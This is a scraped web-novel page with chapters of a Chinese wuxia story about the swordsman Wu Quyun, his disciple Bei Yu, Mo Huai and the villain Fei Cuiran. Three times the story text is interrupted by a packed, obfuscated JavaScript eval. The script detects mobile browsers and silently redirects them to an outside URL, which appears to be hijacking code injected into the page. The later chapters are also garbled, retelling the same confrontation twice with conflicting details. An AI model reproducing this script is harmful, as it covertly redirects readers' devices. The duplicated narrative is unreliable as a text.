时隔十六年,乌去云再次穿梭在乾元城繁华地带,仿佛昨日。 他背着手,步调轻快,似贴地游走的白云。 世间城池,大都差不多的模样,除了星境的城墙房屋皆是乳白颜色,乾元城也就占了个旧字,人是崭新的,城却越来越老。 如果能突然碰见北羽就好了,他的徒弟最喜欢往热闹里扎,就像当初刚下山的他一样。 望见不远处茶楼三楼靠窗的角落未有人,他心念一动,下一刻,便坐在了褐色木凳上。 楼中恰好在唱曲,面容沧桑的中年男子弹着胡琴,歌声响亮,夹杂几分清冷,唱道:“英雄百年愁,陈酒酿新味。千秋终有尽,莫老床榻衰。掷剑凌……” 曲音未了,戛然终断,续上争吵声。 “客官,吃饭给钱天经地义,你没钱就得抵押个东西啊!” “那也不能压我的剑呢!我住的客栈离这里很近,保证不到半盏茶就把钱取回来,把剑还给我!” “不行!你跑了,这单亏空就算我头上了,看你一身破道袍,只有剑值点钱,不扣它扣谁!” 乌去云撩开垂帘,瞧了瞧,递过去一锭银子,“剑还他,我替他付钱。” 小二接过钱,心道奇怪,这个地方刚刚似乎没人,算了,管他的。 青袍道士感激道:“这位兄台多谢了!你人真好!咦?哇,兄台,你的头发怎么是白色的!” “天生的。”乌去云又取了锭银子给店小二,“来壶大红袍。剩下的钱,能上几碟糕点,就上几碟。” 青袍道士局促道:“兄台,我其实有钱的,就是不知道被哪个扒手摸了,待会儿,我回客栈取钱还你。” 乌去云颔首。 青袍道士挠挠头,“兄台,我给你看三卦,权当谢意如何?” 乌去云拒绝他,“玄真道观的卦不准。” 青袍道士睁大眼,“你知道我们道观?” “我是北境人。” 一听是老乡,青袍道士霎时来劲了,往乌去云对面大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541977|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀金马一坐,张嘴把自己交代了个清楚,“原来咱们都是北境人,难怪兄台对我施以援手。我叫玉怜真,玄真道观的弟子,跟朋友一起出门历练的。” “我们先去了东海,又顺道来南境看看我朋友的心上人,结果,我朋友这几天光陪他心上人一块玩,都不带我,我快无聊死了。兄台你贵姓?” “我姓曲,单名一个忆,回忆的忆。” 玉怜真:“哦,曲兄好!” 乌去云微愣,“再说一遍。” “啊?什么再说一遍。” “……你刚才说的那句话,我有个朋友曾经说过一模一样的。” 问好的话,不都差不多吗,玉怜真有点奇怪,但仍对面前的白发少年抱有好感,一则人家帮了他,二则白发少年的气质有点类似莫淮。 都是冷冷的,带了点忧愁,是他甚少碰见,十分感兴趣的那种人。 趁着玉怜真闭嘴的功夫,乌去云听完方才曲子的剩余几句。 “掷剑凌烟去,披霞入草莱。青山何处墓,不必有人来。” 余音未了,玉怜真又絮叨起来:“曲兄,你喝得惯南境的茶和酒吗?我第一次来南境,感觉这地方的饭菜有时候淡死,有时候咸死,总吃得不顺心,特别烦。” 这堆话突如其来地触动了乌去云心弦,也许是因为玉怜真的青衣,也许是因为那一句青山何处墓,他猛然记起了什么,忽站起身,左右环顾,然后慢慢坐下。 “我来过这里。” “嗯?” “上一次我来南境,来乾元城,进过这家茶楼,也坐在这个位子。”乌去云透过帘子,凝视沧桑的弹琴男子,“当时,他身边有个小女孩,是他女儿,喜欢绕着他跑来跑去。” 端着大木盘来上茶糕的店小二,随口道:“那是我们东家的弟弟,他闺女病死了,从那以后,他就一蹶不振,成天泡楼里唱歌。” 摆好满桌糕点,店小二离开。 下楼之时,小二忽觉不对,东家弟弟的女儿,好像死了十几年了,这事还是老厨子讲给他的,可那个白毛客人看起来也就十六七岁。 玉怜真也觉得哪里不对劲,但说不上来。 乌去云思绪翻涌,“我第一次来南境的时候,有个好朋友陪在我身边。” “他跟你一样穿着青衣,但不是道袍,喜欢在衣领袖摆镶翡翠或者绿玉,总说等哪天我们钱花光了,可以把玉石撬下来换酒喝,或者等走累了,玩乏了,换一间栽满蔷薇花的院子住。” “他跟你一样话多,成天在我耳边唠叨个不停,但我一点也不嫌烦,因为从来没人跟我说过那么多话,那么多年,我都一个人在山上和风说话。 我在心里说一句,风来一阵,就当谈笑了。” 这话令玉怜真鼻腔发酸,“这一回来南境也是那个好朋友陪你吗?曲兄。” 乌去云捏起一块桃花糕,痛苦地蹙了下眉,“没有,他早不是我的朋友了。他也不是真心与我交朋友。” 玉怜真小心翼翼道:“这人太坏了,交朋友都带着目的。” “……那时候,他很会伪装。直到他发现,他永远都不可能达到我所在的境界,甚至,我很快就会离开镜悬,他才恼羞成怒。” 乌去云静静道。 如今回忆起决裂的那一夜,屋子模糊,脸也模糊,唯有地上摔得粉碎的一盘盘稀宝珠玉,璀璨华美,粼粼光点,像极了刀光剑影。 后来,他试图挽回这段友谊,特意去东海作临终告别,谁料,这一去竟邂逅了漫天桃花。 49. 卷二·南境演武 倾听半天的玉怜真,终于反应过来,哪里不对劲,“曲忆”的外貌有着少年风华,讲起话却像上了年纪的人回忆往昔。 打量着“曲忆”的白发,加上前几日城中盛传的流言,玉怜真有了个大胆的猜测,但又没有十足把握,更觉得不可思议。 难道……祖师爷真的显灵了……赐了他一份与剑仙对话的福气。 玉怜真心跳如鼓,那一句,您是白发剑圣吗?憋在喉咙里打转。 就在此时,街道爆发出一道接一道惊呼尖叫,遥远天边,泛起赤芒,浓黑色的乌云呼啦啦横流,打翻墨缸似的。 别提百姓,玉怜真都吓了一跳,“好恐怖!” “神魔策发功了而已。”乌去云端起茶饮了一口,顶好的一杯茶,可惜早就凉了,“剑圣拔剑,名剑出鞘,都会使天有异象,你没见过吗?” 玉怜真目不转睛地盯着黑红色的天空,“我见过血凰剑圣的剑势,也在试剑大会上见过北羽的太上忘情剑法和她的名剑残仙。但那种威压是强大,这份是纯粹杀气。” “神魔策一旦使出,就为了杀人。” 乌去云双指并拢,真气运起一滴茶水,打向天空,原本不断侵蚀蓝天白云的黑云赤芒,退潮般消散,金灿灿的日光射出云层。 随后,他又弹出一滴水。 虹流破云,这一滴水席卷走了云层中的水珠,汇成白河,又如水缎,翩跹飞舞,略过乾元城的上空,穿过荒野丛林,落在葬青湖,罩住了它。 …… 皇城内外的动静传到皇宫,正在用膳的天心女帝掷了金玉筷,库房内连躲三天的北羽,却浑然不知,拿着木枝教莫淮用剑。 “剑在兵器里占的是轻巧凌厉,所以,你的腰要稳,脚要活,脑要灵,把真气顺着剑身一招一势运出去,将剑当做你的手,你的心,人剑合一。” 北羽一板一眼,老学究式的作派,莫淮止不住地微笑,嘴角压不下去。 “有什么好笑的。”北羽拿木枝戳他头发,“先前看你境界提升得飞快,练起剑,反而一窍不通。” 莫淮:“我觉得练剑没意思。” 北羽掐腰,“嚯,好大的口气,世上最强的就是剑仙,哪个习武者不是先从剑练起,实在不行,再换别的。前几天你还说要找本剑谱好好练呢,今天竟成了没意思。” “那是我没练过。跟着你学了三天,我觉得剑道不适合我。” 他想要的是变强,北羽一拿剑,势不可挡,这是天赋,他一拿剑,神情不属,倒不如修习魔神策。 莫淮把吟风剑放到膝盖上,抚摸剑柄,“倘若当年拯救镜悬的不是剑仙,是刀仙,估计大家就都去练刀了。” “……也对。” 北羽挽了个木剑花,镜悬大陆以剑为尊,把剑当做变强路径的人,比真正热衷剑道、爱剑的人,多几千倍。 连她也分不清,究竟更爱剑,还是爱剑使她强大。 “但你不学剑道,吟风剑怎么办?再把它插回东海的风吟谷?” 莫淮:“没想好。” 有名剑不用,埋没了它,放回去让给旁人,舍不得。 北羽挑起吟风剑,拔出半截,眸光倒映刃光,单单拿在手中,就能感受到一股煞气,吟风剑果然野惯了。 “我教你个巧宗,用剑者往往追剑随心动,但吟风剑有灵,也可人随剑动。只需堤防它突然不听话,伤了你或旁人。” 话音未落,吟风剑猛地一抖,缩回剑鞘,多亏北羽反应极快,才没被割伤手指。 莫淮锤了它两拳,北羽笑了。 忽然,她脸上笑容凝固,耳畔一瞬响起厮杀惨叫。 “北羽,你怎么了?” “是残仙,葬青湖那边似乎打起来了。” 为了能第一时间得知葬青湖的动静,她特意把残仙放入湖中,以防突发变故。 月冷花向江湖下战帖的日子,不是今天,他的仇敌们先发制人了。 “走,去城外。” 她拉着莫淮离开皇宫,骑上提前备好的马,策马疾驰,朝城外赶去。 葬青湖位于一条瀑布之下,湖面广阔,不知何缘故,常有青鸟坠亡,久而久之,就有了葬青的称号。 北羽和莫淮到时,已经过了快两个时辰,一路上她试图唤回残仙剑,屡遭阻挡,起初以为是斐翠然扣住了残仙,直到望见笼住葬青湖的一层水罩。 葬青湖虽然被水罩锁住,看不清里面,但打斗的阵仗委实不小,三里开外,地面频震,湖泊上空,天色烂红如血肉,栖息在周围林木的鸟儿感到危险,连片惊飞。 饶是如此,淡褐色的水罩,丝毫不见破绽。 熟悉的气息使莫淮生疑,“北羽,锁住湖的真气,与你的很像。” “是我师父。”北羽勒马停下,眺望葬青湖,“他不想我去见斐翠然。” 斐翠然的神魔策完全施展,会形成领域困住敌人,势之余威,蔓延百里,曾吓得许多人,没打就先腿软。但她师父一层水罩,就从气焰上遏制了他。 湖内翻天覆地,湖外寸草未伤。 斐翠然在十一年前的无极大会排了第三,乌去云排了第二,但两者之间的差距,好比站在树梢上的人,和站在云端的人。 哪怕都已经双脚离开地面,仍差了十万八千里。 “师父修太上忘情剑法,我也修太上忘情剑法,一脉相承,我比他弱,破不了他的真气,这层水罩单阻我一人。”北羽指向天际,“等天红到滴血,黑到流墨,斐翠然的内力也到达极点,要么他死,要么他赢。” “他赢了,就会跑。他死了,我就什么也问不了。” 莫淮:“要我破开它吗?” “你破得开?”北羽反问。 “试一试。咱们下马,去瀑布边等到你说的时刻,我试试。” 当下别无选择,北羽死马当活马医,随他去了瀑布边,莫淮全神贯注观察天色,紧绷下颌,北羽捧脸看着他,不报希望,思索着与藏在湖底的残仙剑里应外合,破开水罩的可能性。 等待尤其漫长,终于天端浸染浓色。 北羽和莫淮正要行动,倏忽之间,云海翻涌,劈下几十道闪电,五光十色,穿过水罩把葬青湖炸开花,湖水倒翻,一时间,水罩成了湖底,湖底成了陆地。 若非有乌去云一道真气在,只怕方圆十里已经被雷扫了个干净。 莫淮被镇住,见识上他不如泡在学宫十几年的北羽,扭头问道,“这是?” 北羽十分意外,“五色神雷,御雷真宗的绝技。这个宗门神出鬼没,名头却响亮,传闻仅有几十个弟子,人人修练雷法,非常强。我也只听说过,没见过。” 斐翠然倒大霉了。 罗刹堂培养的是刺客,月冷花黑夜杀人的本领毫无疑问是顶尖,但正面迎敌、以一敌百的本事,估计打折扣,加上他重伤在身,引来的强劲棘手敌人恐怕全靠斐翠然抗着。 他哪是退隐,分明是往死里坑斐翠然。 雷霆过后,天空完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561288|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全变色。 莫淮拔出吟风剑,跳下悬崖,千百道风刃应着剑鸣声旋转,天空中的血黑彩霞,受到召唤一样凝聚成长河,俯身冲击水罩,他这一击借了吟风剑的势,使的却是内力,似剑招非剑招,威力竟不逊色于仙剑术。 这一幕绚丽壮观。 北羽不可置信揉了揉眼,忽然清楚意识到,莫淮再也不是那个困在过去和铁鞭下的孤僻少年了,他真的变得非常强。 她该高兴,毕竟是她领莫淮进了瀚海书阁,也是她指点莫淮运转周天,只是……北羽并没有太高兴,反而心情微妙。 狂风怒号,水罩融化,滴滴落在北羽脸上,隐约中,她仿佛听见一声叹息。 残仙剑奔向主人,葬青湖的惨状也暴露在青天之下。 湖面飘着一层厚重血沫,尸体已经不能算尸体,全部零零碎碎,裂了一半的头颅,还剩半截的胳膊,已经是较为完整的大块,更多的是血肉糊糊。 北羽只看了几眼,就转身吐了。 她从未见过这等恶心残忍的场面,在此之前,天心女帝寝殿外的尸山,差点被碎尸万段的唐引琼,是她见过最血腥的景象。 莫淮解下腰间水囊递给她,他也难受,但还能忍。 北羽匆匆漱口,有人发出嘲笑声。 “哟,是乌去云娇贵的小徒儿来了。” 歪倒的枯树旁边,衣衫褴褛的斐翠然正在拧浸了血水的袖子,他脸上半张金面具边缘翘起,神态略显疲态,难辨伤势轻重。 靠在枯树另一头的月冷花,半死不活,貌似昏了过去。 北羽抹抹嘴,将残仙剑对准斐翠然的心脏位置,斐翠然眉峰一挑,笑道:“乌去云让你杀我?” “少自作多情,我师父早不在乎你了。”北羽故意把剑端刺进去了一些,斐翠然没有动,好像真的无力反抗了。 “祸害遗千年,几十道雷电都没劈死你,命怪硬的。” “彼此彼此,你被绑到白蛊林时才六岁,不也活下去了。” 北羽愣神,“什么六岁,我十岁被绑走的,你脑子被打糊涂了吧。” 斐翠然伸出两根手指,“六岁一次,十岁一次。六岁那次是我干的,十岁那次是辰氏动的手。哦,不对,六岁那次,也是辰氏主谋,只是我参与其中罢了。” 北羽后退半步,整个人僵住。 怎么回事?!她居然被绑走两回!辰氏到底对她做了什么! “你们对她做了什么!”莫淮脸色惨白,愤怒得嗓音颤抖,他去过东海,知道黑白蛊林的邪恶作派。 斐翠然扭动脖子,淡定道:“拿走了一个东西,又放了一个东西,很简单。” 北羽握剑的手微微发抖,“拿了什么。” “肉,好像是从你大腿挖了一块。” 北羽呼吸变得急促,“你骗我,我身上没有伤疤!” “呵。让伤口愈合成毫无痕迹的样子,很难做到吗?” 斐翠然攥紧左掌,挨在一起的北羽、莫淮已经心神大乱,无人注意到他的小动作。 “那……那……放了什么东西……” “说来话长了,我想……换个方式告诉你!” 斐翠然猛地抓住北羽的右手腕,他的掌心烫得像烧红的烙铁,黑气缠绕残仙,北羽下意识松开了剑柄,莫淮当即刺向斐翠然的胸膛,不料,后背袭来一道银色剑影,勾住他的腰。 一切都发生在电光火石之间。 北羽被斐翠然拖走,月冷花缠住莫淮。 50. 难言之隐 北羽领会了东海最强功法的诡异之处,黑色真气窜入她的体内,短短几秒锁了她经脉,紧接着,斐翠然的食指点在她的眉间。 一瞬间,北羽以为自己死了,因为她失去了视觉、听觉、嗅觉、触觉四感。 忽然,她的舌尖苦得要命,下一秒,五感同时恢复。 斐翠然的眸底浮现赤色,“快把嘴张开!” “滚!神经病啊你!”北羽破口大骂,身体软麻。 斐翠然用力掐她下巴,“小子!我在帮你!辰氏给你种了生死符,可如今世上已无解药,我大发慈悲愿意帮你把蛊虫融掉,少磨磨蹭蹭!” 北羽一口咬在他手背,奋力与体内乱窜的真气博弈,“呸!鬼才信你,百花楼里你拿我当猴耍,今天又给我设套,指望我信你,做梦!” …… 远处的莫淮听不清北羽和斐翠然在说什么,只看见斐翠然粗暴地撬北羽的嘴,深深刺痛他。 “滚开!” 他一剑横扫开月冷花,冲向斐翠然,右手掌心闪过黑芒。 斐翠然余光瞥见莫淮逼近,十分不耐烦,一掌打向莫淮天灵盖,下了死手,岂知,莫淮以掌对掌,抵制了他的内力。 两股黑气碰撞,一股流动如墨汁,一股轻盈如云朵。 斐翠然大吃一惊,“你也会神魔策!” “是魔神策!”莫淮面容三分扭曲,“放开北羽!” 北羽也不闲着,“砍死老贼!” 斐翠然神色痛苦,对于深受重伤的他而言,一手压北羽,一手压莫淮,根本吃不消。 要不是当年,乌去云给他看了太上忘情剑法,让他摸清仙骨的大穴所在,他是无法扼住北羽的。 现在多了个莫淮,他仅剩的内力马上就耗尽了。 事已至此,斐翠然难得摒弃了咄咄逼人、目中无人的态度,好生好气劝道:“北羽,你吃了唤魂草,肯定恢复了些许记忆,想想血池,想想祭祀仪式,辰家人确实给你种了生死符!” “就算有,你怎么会好心帮我!”北羽质问道。 斐翠然无可奈何道:“因为我想见乌去云!我想他原谅我!我对不起他,只有救了他最在意的人,他才可能愿意……呃!” 剧痛从心口传来,掐断了倾诉。 斐翠然低头,穿透他心脏的剑刃抽出,鲜血喷涌。 世间寂静了。 一道带着怨气的声音,幽幽响起,“你与乌去云冰释前嫌了,我姐姐呢?” 月冷花面无表情,斐翠然怔了下,趁此机会莫淮抱起北羽撤到一边。 “你……你……”斐翠然瘫倒在地,急促喘气,讲话都断断续续。 “我怎样?” 月冷花弯腰,强忍内伤的撕扯之痛,“觉得我不该杀你?觉得你帮我解了生死符,又帮我杀尽仇敌,我就应该对你感恩戴德?” 月冷花扯出个惨笑,对北羽道:“还记得我在南境皇宫说过的那些话吗,罗刹堂的刺客生下来,就被种下蛊毒,成为辰氏的提线木偶,一辈子给他们卖命。” “其中,天资越高的刺客,被种下的蛊就越厉害,最厉害的一种叫生死符,它也是东海蛊林最毒最难解的蛊。” “我的资质是罗刹堂同辈中最好的,所以,我一出生就中了生死符,倒霉透顶。但是,我有一个好姐姐,她用命换来了斐翠然的承诺——帮我解掉生死符,还我自由。” “你六岁那年,辰氏族长看上了你的仙骨,想要绑走你,魔教和罗刹堂抢先了一步。斐翠然拿你跟辰氏谈条件,辰氏答应给我解蛊。” “说来惭愧。我的生死符解开了,你一个无辜的小孩却被种上了。” 北羽神魂巨震,被绑架的真相晴天霹雳般,把她劈得外焦里嫩,眼前甚至黑了几下。莫淮呆若木鸡,一时间无法接受北羽遭受这等伤害。 “说这些陈年往事有什么意思。月冷花,你是在为你姐姐报仇吗?”躺在地上一动不动的斐翠然插嘴道。 他还没死。 准确的说,他死不了。 神魔策是一本不属于镜悬大陆的功法,它能使修炼者具有无法想象的愈合能力,维持不死的状态。 心脏是命门所在,但不是重创心脏修炼者就会死,而是无法运功,简单一点,就是功力全失。 “我遇见月桃花之前,她就已经因为刺杀白蛊林的蛊师失败,被他们下了绝魂散,命不久矣。她是自愿与我做交易,帮我诱惑乌去云,以此换取你的自由。” 斐翠然盯着月冷花,“我是个十恶不赦的人,有时候也出尔反尔,可唯独遵守了对你姐姐许下的诺言,给你解开生死符,保你退隐江湖。你倒好,背后捅刀子。” “我是杀手,是刺客。专干背地阴人的勾当,怎么斐教主第一天认识我吗?”月冷花提剑,想再次插入斐翠然的心脏。 “住手!” 风吟浅唱,寒刃破空。 莫淮的身影如鬼魅般掠过,剑尖直指月冷花的手腕。 “铛!” 月冷花的剑被震偏,堪堪擦过斐翠然的耳畔,削下一缕发丝。莫淮横剑挡在斐翠然身前,面色铁青。 “让开。”月冷花的声调没有起伏,像一潭死水。 “不许你杀他。”莫淮握剑的手青筋暴起,“他能救北羽。” 变故一波接一波,北羽惊魂未定,看了看莫淮的,又看了看地上还剩一点气的斐翠然,脑子里飞速转了几圈。 她体内有生死符是确凿无疑的,目前能解开的人……好像也只有斐翠然? 该死的。 北羽咬了咬牙,撑着发软的身体站起来,踉跄了两步,走到莫淮身边。 “月冷花。”她喊了一声,声音还有些虚,“你先别动手。” 月冷花的视线从莫淮身上移到北羽脸上,目光冰碴子一样冷,“你要护他?” “我护他个屁!”北羽呸了一口,“我巴不得他死。可我现在……”她抬起手,看着指尖还在微微颤抖,“他说的那个什么生死符,我……” 北羽深吸一口气,胸口像被压了块石头,扭头看了一眼地上的斐翠然,那人胸口还在往外渗血,但出血量明显比刚才少了。这老东西的自愈能力确实邪门,心脏被捅穿了都死不了。 “他要真能解,”北羽转回头,直视月冷花,“你就不能现在杀他。” 月冷花:“你觉得他会救你?” “他刚才不就在救吗?”北羽反问。 “他救你,是因为他想见乌去云,想求得原谅。但据我所知,神魔策没有对付蛊虫的能力,你可别被他的病急乱投医唬住。” 斐翠然闭着眼,胸膛微微起伏,嘴角挂着一丝苦笑,不知道是在装死还是在沉思。 “让开。”月冷花看着莫淮和北羽,声音冷得像淬了毒,“最后说一次。” 莫淮没有动。 北羽也没有动。 气氛僵到了极点。 “呵。” 一声轻笑从月冷花身后传来,轻得像羽毛落地,却让所有人都僵住了。 月冷花瞳孔骤缩,还没来得及转身,剧痛就从右臂传来。 “咔嚓——” 清脆的骨裂声。 月冷花的右臂以一个诡异的角度弯折,长剑脱手落地,发出“哐当”一声脆响。 他猛地转头,看见斐翠然不知何时已经站了起来,一只手正捏着他的断臂处,五指深深嵌进血肉里。 斐翠然的脸上没有表情,眼底却翻涌着浓烈的黑气,像墨汁在瞳孔里炸开。 “我忍你很久了。” 他平静得可怕,像暴风雨前的死寂。 “你以为,我受了重伤,就动不了你?” 月冷花咬着牙,额头上冷汗涔涔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561289|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却硬是没叫出声。他盯着斐翠然,目光里没有恐惧,只有恨意和嘲讽。 “你终于……露出真面目了。” “我本来就不是什么好人。”斐翠然松开手,月冷花的断臂无力地垂落,“但我刚才说的话,没有一句是假话。” 他后退两步,看了看莫淮,又看了看北羽。 “我会救她。但她体内的生死符,我一个人解不了。” 北羽皱眉,“什么意思?” “生死符是蛊林最毒最难解的蛊,解它需要三样东西。”斐翠然伸出三根手指,“可惜我都没有。” 北羽的心往下沉了沉。 “所以你在耍我?” “我没有耍你。”斐翠然叹了口气,“我以为以我的内力,可以强行把蛊虫逼出来。但你体内的那个东西,比我想象的要顽固得多,它已经和你的经脉长在一起了,强行剥离,你会经脉尽断而亡。” “那你说个屁!”北羽怒了。 斐翠然说,“但你姐姐的在天之灵,会怎么看你?” 月冷花的脸瞬间阴沉下来。 “你不配提我姐姐。” “我不配。”斐翠然坦然点头,“所以我才想补救。虽然晚了,但总比什么都不做强。” 月冷花沉默。 风声呜咽,卷起地上的枯叶。 过了很久,他才开口,声音像从喉咙深处挤出来的,“蛊王的血,在辰氏祖宅的地宫里。地宫只有辰氏族长的血才能打开。” 他说完这句话,像是用尽了所有力气,闭上眼,不再说话。 斐翠然微微点头,看向莫淮。 “听到了?你需要两样东西——辰氏族长的血,还有地宫里的蛊王血。” 莫淮点头。 “我跟你一起去。”北羽突然说。 “不行。”莫淮和斐翠然异口同声。 北羽瞪眼,“凭什么?” “你体内有生死符,去辰氏的地盘,等于自投罗网。”斐翠然说,“辰氏要是感应到你体内的蛊虫,直接就能控制你,到时候你不仅帮不上忙,还会成为累赘。” “你——” “他说得对。”莫淮按住北羽的肩膀,“你在这里等。” “我等个屁!三个月我就死了!” “所以我不会让你死。” 莫淮看着她,目光认真得不像是在安慰。 北羽鼻子一酸,别过头去,不想让他看见自己泛红的眼眶。 “你要是敢死在外面,我做鬼都不会放过你。” “好。” 莫淮嘴角微微勾起,难得露出一点笑意。 他松开北羽的肩膀,转身看向远处的天际。 夕阳西下,天边烧成一片血色。 “月冷花。”他喊了一声。 月冷花睁开眼,看向他。 “你的胳膊,接得上吗?” 月冷花愣了一下,没想到他会问这个。 “断骨而已,养几个月就好了。” “那就好。”莫淮说完,提剑往前走。 北羽看着他的背影,忽然喊了一声:“莫淮!” 他停下脚步,没有回头。 “活着回来。” 莫淮没有回答,只是抬起手,挥了挥,继续往前走。 夕阳把他的影子拉得很长很长,像一条通往未知的路。 北羽站在原地,看着他一步步走远,心口像被什么东西堵住了,闷得喘不过气。 斐翠然靠坐在树下,闭着眼,不知道在想什么。 月冷花抱着断臂,面无表情地看着天边。 气氛沉默得像一潭死水。 而在远处的山道上,莫淮的身影渐渐被暮色吞没,消失不见。 风停了。 天地间一片寂静,只剩下北羽胸腔里那一声声沉重的心跳。 51. 卷二·南境演武 月冷花稳坐北境杀手头把交椅,一靠身法,二靠杀人绝技。 他学的身法出自星宫,黑夜刺杀,隐入月影,白日行凶,避借日光,兵器使的是少数人才学的软剑,以内力操控剑身闪晃,刺出的一剑,须臾之间,反复割伤对手。 刺入斐翠然心脏的这一剑,堪比万剑穿心。 “你、你……”斐翠然瘫倒在地,急促喘气,讲话都断断续续。 “我怎样?” 月冷花弯腰,强忍腹内撕扯之痛,“觉得我不该杀你?觉得你帮我解了生死符,又帮我杀尽仇敌,我就应该对你感恩戴德?” 他面无表情,斐翠然怔了下,趁此机会莫淮抱起北羽撤到一边。 月冷花扯嘴惨笑,望向北羽,“还记得我在南境皇宫跟你说过的那些话吗。” “罗刹堂的刺客生下来,就被种下蛊毒,成为辰氏的提线木偶,为其卖命一辈子。当中,天资越高的刺客,被种下的蛊就越厉害,最毒的一种叫生死符,也是东海蛊林最难解的蛊。” “我的资质是罗刹堂同辈中拔尖的,所以,一出生就中了生死符,倒霉透顶。但是,我有一个好姐姐,她用命换来了斐翠然的承诺——帮我解掉生死符,还我自由。” “然而,解蛊谈何容易。” “姐姐死后的第九年,也就是你六岁那年,辰氏族长看上了你的仙骨,魔教和罗刹堂抢先了一步,斐翠然拿你跟辰氏谈条件,辰氏才肯答应解我的蛊。” “说来惭愧,我的生死符解开了,你一个无辜的小孩却被种上了。” 十年前被绑架的真相,终于揭露,北羽神魂巨震,噩耗从天而降,打得她手足无措。 莫淮难以置信,一时间无法接受北羽遭受这等伤害。 “提这些陈年往事有什么意思。月冷花,你是在为你姐姐报仇吗?”躺在地上一动不动的斐翠然冷冷道。 他还没死。 准确的说,他死不了。 神魔策是一本不属于镜悬大陆的功法,能使修炼者具有常人无法想象的愈合能力,维持不死状态。 心脏是命门所在,但不是重创心脏修炼者就会死,而是无法运功,简单一点,就是功力全失。 想要杀了他,除非现在就砍断他的脖子。 “我遇见月桃花之前,她已经因为刺杀白蛊林的大蛊师失败,中了绝魂散,命不久矣。她是自愿与我做交易,帮我诱惑乌去云,以此换取你的自由。” 斐翠然盯着月冷花,“我是个十恶不赦的人,有时候也出尔反尔,可唯独遵守了对你姐姐许下的诺言,给你解开生死符,保你退隐江湖。你倒好,背后捅刀子。” 当真是会咬人的狗不叫。 “我是杀手,是刺客。专干背地阴人的勾当,怎么斐教主第一天认识我吗?”月冷花提剑,想砍断斐翠然的脖子。 “住手!” 风吟浅唱,寒刃破空,莫淮剑指月冷花手腕。 “不许你杀他,他能救北羽!” 变故一波接一波,惊魂未定的北羽,看了看莫淮的,又看了看地上还剩一点气的斐翠然,脑子飞速转了几圈。 她体内有生死符,确凿无疑,按照斐翠然的说法,目前能解开的人……好像也只有他? 该死的。 北羽咬了咬牙,撑着发软的身体站起来,走到莫淮身边。 “月冷花。”她声音还有些虚,“先别动手。” 月冷花的视线冰碴子一样冷,自知如今不是北羽、莫淮的对手,便道:“你觉得他会救你?” 北羽深吸一口气,胸口像被压了块石头,扭头看了一眼地上的斐翠然,他闭着眼,不知是装死还是在沉思,胸膛缓缓起伏,心口渗血明显少了。 “他设计害我师父,间接害我师祖,甚至把我卖给辰氏,我巴不得他死,但我必须先搞清生死符的事。” 月冷花没有收剑,“据我所知,只有东海蛊林的蛊王和大蛊师能解开生死符,神魔策没有对付蛊虫的能力。” “病急乱投医解决不了问题。北羽,你应该去找你的师父,有乌去云在,蛊林不敢不给你解蛊。” …… 上了年纪的人,难道都觉得年纪轻的人是傻瓜? 假如,解开生死符仅需要一位蛊王或大蛊师,为什么罗刹堂的高手们,不合伙去东海打蛊林,反而,来南境刺杀天心帝。 其中,肯定有不可告人的弯弯绕绕,生死符绝对异常难解。 北羽没理月冷花,踢了踢斐翠然:“别装死了,到底能不能解开我的生死符。” “有可能,没把握。” 斐翠然唏嘘道,“神魔策源于东海蛊林,对灭杀蛊林的蛊物有奇效,当年,我被一群蛊师封进满是毒蛊的棺材,依靠它活了下去。” “本来以我的内力,或许可以强行融掉生死符,再把它从你身体里逼出来。” “但我如今命门受创,恢复需要花好几年,上一次修复心脉,我用了快五年,这一次,少说要七年,怕你等不起。” 北羽心情糟糕极了。 十年前,斐翠然害她中了蛊毒,月冷花靠她解了蛊毒;十年后,斐翠然想为她解毒,月冷花则葬送了她解毒的一次机会。 她才是真正的倒霉透顶,祸不单行。 这一刻,北羽想杀了面前的两个灾星。 斐翠然再次询问月冷花,“你恨我,是因为月桃花,但我对她仁至义尽,你究竟从哪一点恨上了我?” 月冷花沉默了一会儿,“从一句你随口说的话。” “什么话?” “你曾经对我说,我从第一眼见到你姐姐起,就知道,乌去云一定会喜欢她。” 斐翠然不解道:“就这,我真不懂你在想什么。” 月冷花:“我姐姐当年是快死了,罗刹堂的刺客,因为刺杀任务而死,再正常不过,这是我们早就接受的命运,而你却给了我姐姐一个残酷的死法。” “她从未喜欢过谁,也不想嫁给谁,你让她先嫁给你,再去勾引乌去云,是你对她的侮辱。” “她爱上了乌去云,在临死之前,爱上了一个男人,这是你带给她的伤害。” “现如今,你后悔害乌去云,要借帮助他的徒弟,去挽回你们可笑的友谊,是彻底毁我姐姐的最后一步。” “斐翠然,你把我姐姐当什么?” 